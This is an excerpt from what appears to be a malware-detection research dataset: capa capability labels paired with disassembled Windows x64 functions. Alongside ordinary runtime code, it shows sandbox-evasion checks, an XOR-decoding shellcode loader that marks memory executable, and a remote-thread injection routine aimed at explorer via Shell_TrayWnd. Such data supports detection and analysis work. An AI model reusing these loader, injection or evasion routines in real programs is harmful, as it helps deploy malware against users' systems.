joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001080
Capabilities:
Enumerate process modules
Terminate process

Disassembly:
mov eax, 0x1048
call fcn.14001e780
sub rsp, rax
lea r8, [rsp + 0x1030]
mov edx, 0x1000
lea rcx, [rsp + 0x30]
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x1400010aa
jmp 0x1400010d1
mov eax, dword [rsp + 0x1030]
xor edx, edx
mov ecx, 4
div rcx
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1e
jae 0x1400010d1
mov ecx, 0x1234
call qword [sym.imp.KERNEL32.dll_ExitProcess]
add rsp, 0x1048
ret

Function at 0x1400010e0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x38
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x1d4c0
jae 0x140001103
mov ecx, 0x5678
call qword [sym.imp.KERNEL32.dll_ExitProcess]
add rsp, 0x38
ret

Function at 0x140001170
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rcx
mov eax, 0xeef58
call fcn.14001e780
sub rsp, rax
mov rax, qword [0x14002bdb0]
xor rax, rsp
mov qword [rsp + 0xeef48], rax
call fcn.140001080
call fcn.1400010e0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
xor r8d, r8d
mov edx, 0x80000000
mov rcx, qword [rsp + 0xeef60]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0x68], rax
xor edx, edx
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x70], eax
mov dword [rsp + 0xeef40], 0
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0xeef40]
mov r8d, dword [rsp + 0x70]
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov byte [rsp + 0x60], 0x68
mov r8b, 0x68
mov edx, dword [rsp + 0x70]
lea rcx, [rsp + 0x90]
call fcn.140001110
mov r9d, 4
mov r8d, 0x3000
mov edx, 0xeeea8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x50], rax
mov r8d, 0xeeea8
lea rdx, [rsp + 0x90]
mov rcx, qword [rsp + 0x50]
call fcn.14000f850
lea r9, [rsp + 0x40]
mov r8d, 0x20
mov edx, 0xeeea8
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
call qword [0x14002d670]
mov qword [rsp + 0x78], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventA]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x64
xor r9d, r9d
mov r8, qword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
lea rcx, [rsp + 0x58]
call qword [0x14002d678]
test eax, eax
jne 0x1400012dd
jmp 0x140001305
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x48]
call qword [0x14002d668]
test eax, eax
je 0x140001305
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.WaitForSingleObject_failed___d__n
call fcn.14000f764
mov rcx, qword [rsp + 0xeef48]
xor rcx, rsp
call fcn.14000fba0
add rsp, 0xeef58
ret
Function at 0x140002ca0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.14000aa84
mov rsi, rax
test rax, rax
je 0x140002d1c
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x140002d17
cmp dword [rbx], 0x40
jb 0x140002d17
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x140002d17
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x140002d20
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x140011870
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.1400179d4
nop
cmp dword [0x140030ff8], 1
je 0x14001181c
mov dword [0x140030ff4], 1
mov byte [0x140030ff0], r12b
test ebx, ebx
jne 0x140011808
mov rcx, qword [0x1400330f0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x1400117f5
mov rcx, qword [0x1400330e8]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x140011794
call fcn.140013b1c
cmp qword [rdi], rax
jne 0x140011794
jmp 0x14001177a
cmp rdi, rsi
jb 0x1400117f5
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.140013b1c
mov qword [rdi], rax
call rbx
mov rcx, qword [0x1400330f0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x1400330e8]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x1400117d3
cmp r13, rax
je 0x1400117f3
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14001177a
lea rdx, [0x140020810]
lea rcx, [0x1400207f8]
call fcn.1400115c4
lea rdx, [0x140020820]
lea rcx, [0x140020818]
call fcn.1400115c4
nop
test r12d, r12d
je 0x14001182b
mov ecx, 8
call fcn.1400178d4
test r12d, r12d
jne 0x140011856
mov dword [0x140030ff8], 1
lea ecx, [r12 + 8]
call fcn.1400178d4
mov ecx, r15d
call fcn.140011558
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x1400116e4

Function at 0x14001187c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x1400116e4
Function at 0x140012ccb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x14002bdb0]
jne 0x14000fbba
rol rcx, 0x10
test cx, 0xffff
jne 0x14000fbb6
repz ret
ror rcx, 0x10
jmp 0x140012c24
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x1400310d0]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x1400311c8]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x140012ca9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x1400310d0]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x140012ccb
mov rax, qword [rsp + 0x88]
mov qword [0x1400311c8], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140031168], rax
mov rax, qword [0x1400311c8]
mov qword [0x140031040], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140031150], rax
mov dword [0x140031030], 0xc0000409
mov dword [0x140031034], 1
mov rax, qword [0x14002bdb0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x14002bdb8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x1400310c8], eax
mov ecx, 1
call fcn.1400191b0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x140023710]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x1400310c8], 0
jne 0x140012d52
mov ecx, 1
call fcn.1400191b0
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400191b8
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.140013b1c
xor ebx, ebx
mov rdi, rax
cmp qword [0x140031df0], rbx
jne 0x1400192be
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140019393
lea rdx, [0x1400248a0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140019393
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140031df0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x140024878]
mov rcx, rsi
mov qword [0x140031df8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x140031e00], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x140031e10], rax
test rax, rax
je 0x1400192b5
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x140031e08], rax
jmp 0x1400192c5
mov rax, qword [0x140031e08]
jmp 0x1400192cc
mov rax, qword [0x140031e08]
mov r11, qword [0x140031e10]
cmp rax, rdi
je 0x140019334
cmp r11, rdi
je 0x140019334
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x140031e10]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140019334
test rax, rax
je 0x140019334
call rsi
test rax, rax
je 0x14001932e
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x14001932e
test byte [rsp + 0x38], 1
jne 0x140019334
bts ebp, 0x15
jmp 0x140019372
mov rcx, qword [0x140031df8]
cmp rcx, rdi
je 0x140019372
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140019372
call rax
mov rbx, rax
test rax, rax
je 0x140019372
mov rcx, qword [0x140031e00]
cmp rcx, rdi
je 0x140019372
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140019372
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140031df0]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140019393
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140019395
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001010
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14000a990]
xor ecx, ecx
mov dword [rax], 1
mov rax, qword [0x14000a9a0]
mov dword [rax], 1
mov rax, qword [0x14000a9b0]
mov dword [rax], 1
mov rax, qword [0x14000a940]
cmp word [rax], 0x5a4d
jne 0x14000105e
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400010c8
mov rax, qword [0x14000a980]
mov dword [0x14000d00c], ecx
mov eax, dword [rax]
test eax, eax
je 0x1400010b8
mov ecx, 2
call sym.__set_app_type
call dbg.__p__fmode
mov rdx, qword [0x14000aa60]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg.__p__commode
mov rdx, qword [0x14000aa40]
mov edx, dword [rdx]
mov dword [rax], edx
call dbg._setargv
mov rax, qword [0x14000a8f0]
cmp dword [rax], 1
je 0x140001100
xor eax, eax
add rsp, 0x20
pop rbp
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x14000107b
movzx edx, word [rax + 0x18]
cmp dx, 0x10b
je 0x140001118
cmp dx, 0x20b
jne 0x14000105e
cmp dword [rax + 0x84], 0xe
jbe 0x14000105e
mov edx, dword [rax + 0xf8]
xor ecx, ecx
test edx, edx
setne cl
jmp 0x14000105e
mov rcx, qword [dbg._matherr]
call dbg.__mingw_setusermatherr
xor eax, eax
add rsp, 0x20
pop rbp
ret
cmp dword [rax + 0x74], 0xe
jbe 0x14000105e
mov r8d, dword [rax + 0xe8]
xor ecx, ecx
test r8d, r8d
setne cl
jmp 0x14000105e
Function at 0x1400015fc
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Find taskbar
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp - 0x24], 0
mov edx, 0
lea rax, str.Shell_TrayWnd
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
je 0x14000164a
lea rdx, [rbp - 0x24]
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov eax, dword [rbp - 0x24]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x140001687
lea rax, str.ERRO_ao_abrir_o_processo_confivel._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400017d7
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp - 0x10]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400016e5
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.ERRO_na_alocao_de_memria_no_processo_confivel._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400017d7
mov r8, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
mov qword [rbp - 0x20], rax
cmp qword [rbp - 0x20], 0
jne 0x14000179d
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x10]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, str.ERRO_ao_criar_thread_remota._n
mov rcx, rax
call sym.printf
mov eax, 1
jmp 0x1400017d7
mov rax, qword [rbp - 0x20]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x70
pop rbp
ret
Function at 0x140001c40
Capabilities:
Write file on windows

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x30
lea rbp, [rsp + 0x30]
mov rbx, rcx
lea rax, [rbp + 0x28]
mov ecx, 2
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
mov qword [rbp - 8], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rbp - 8]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop dword [rax]

Function at 0x140001cb0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
movsxd rsi, dword [0x14000d0a4]
mov rbx, rcx
test esi, esi
jle 0x140001de0
mov rax, qword [0x14000d0a8]
xor r9d, r9d
add rax, 0x18
nop dword [rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001cfb
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001d83
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001ce0
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
mov rdi, rax
test rax, rax
je 0x140001e02
mov rax, qword [0x14000d0a8]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call dbg._GetPEImageBase
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x14000d0a8]
lea rdx, [rbp - 0x30]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001de7
mov eax, dword [rbp - 0xc]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001d7c
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001d90
add dword [0x14000d0a4], 1
add rsp, 0x58
pop rbx
pop rsi
pop rdi
pop rbp
ret
cmp eax, 2
mov rcx, qword [rbp - 0x30]
mov rdx, qword [rbp - 0x18]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x14000d0a8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001d7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop word [rax + rax]
xor esi, esi
jmp 0x140001d08
mov rax, qword [0x14000d0a8]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]
Function at 0x140002390
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
lea r13, [0x14000d100]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x14000d0e0]
test rbx, rbx
je 0x1400023f5
mov r12, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ecx, dword [rbx]
call r12
mov rsi, rax
call rdi
test rsi, rsi
je 0x1400023ec
test eax, eax
jne 0x1400023ec
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400023d0
mov rcx, r13
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x140002630
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x140002648
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002650
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002660
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
movzx r8d, word [rcx + 6]
lea rax, [rcx + rax + 0x18]
test r8w, r8w
je 0x1400026ad
lea ecx, [r8 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rcx, r8
cmp rdx, r8
jb 0x1400026a4
add ecx, dword [rax + 8]
cmp rdx, rcx
jb 0x1400026af
add rax, 0x28
cmp rax, r9
jne 0x140002690
xor eax, eax
ret

Function at 0x1400026b0
Capabilities:
Parse pe header

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x20]
mov rsi, rcx
call sym.strlen
cmp rax, 8
ja 0x140002748
mov rdx, qword [0x14000a940]
xor ebx, ebx
cmp word [rdx], 0x5a4d
jne 0x140002736
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x140002736
cmp word [rax + 0x18], 0x20b
jne 0x140002736
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002748
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002721
add rbx, 0x28
cmp rbx, rdi
je 0x140002748
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002718
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
ret

Function at 0x140002760
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a940]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002780
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002788
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002780
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400027dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400027d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002780
add rax, 0x28
cmp rax, r9
jne 0x1400027c0
xor eax, eax
ret
Function at 0x1400027e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a940]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400027ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002808
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400027ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140002820
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x14000a940]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x140002840
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x140002848
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002840
movzx eax, word [rdx + 0x14]
movzx r8d, word [rdx + 6]
lea rax, [rdx + rax + 0x18]
test r8w, r8w
je 0x140002890
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x140002887
test rcx, rcx
je 0x140002840
sub rcx, 1
add rax, 0x28
cmp rdx, rax
jne 0x140002878
xor eax, eax
ret

Function at 0x1400028a0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x14000a940]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x1400028bf
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x1400028c8
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret

Function at 0x1400028e0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x14000a940]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002900
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002908
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002900
sub rcx, rdx
movzx r9d, word [r8 + 6]
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
test r9w, r9w
je 0x140002900
lea eax, [r9 - 1]
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
mov rax, r8
cmp rcx, r8
jb 0x140002954
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x140002960
add rdx, 0x28
cmp rdx, r9
jne 0x140002940
xor eax, eax
ret
mov eax, dword [rdx + 0x24]
not eax
shr eax, 0x1f
ret

Function at 0x140002970
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x14000a940]
xor r8d, r8d
cmp word [r11], 0x5a4d
mov r10d, ecx
jne 0x140002994
movsxd rcx, dword [r11 + 0x3c]
add rcx, r11
cmp dword [rcx], 0x4550
je 0x1400029a0
mov rax, r8
ret
cmp word [rcx + 0x18], 0x20b
jne 0x140002994
mov eax, dword [rcx + 0x90]
test eax, eax
je 0x140002994
movzx edx, word [rcx + 0x14]
movzx r9d, word [rcx + 6]
lea rdx, [rcx + rdx + 0x18]
test r9w, r9w
je 0x140002994
lea ecx, [r9 - 1]
lea rcx, [rcx + rcx*4]
lea r9, [rdx + rcx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rdx + 0xc]
mov rcx, r8
cmp rax, r8
jb 0x1400029ec
add ecx, dword [rdx + 8]
cmp rax, rcx
jb 0x140002a00
add rdx, 0x28
cmp r9, rdx
jne 0x1400029d8
xor r8d, r8d
mov rax, r8
ret
add rax, r11
jmp 0x140002a10
sub r10d, 1
add rax, 0x14
mov ecx, dword [rax + 4]
test ecx, ecx
jne 0x140002a1e
mov edx, dword [rax + 0xc]
test edx, edx
je 0x1400029f5
test r10d, r10d
jg 0x140002a08
mov r8d, dword [rax + 0xc]
add r8, r11
mov rax, r8
ret
Function at 0x14000257c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400025c6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400025c6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400025c6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400025c6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400025c6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400025c8
xor al, al
add rsp, 0x28
ret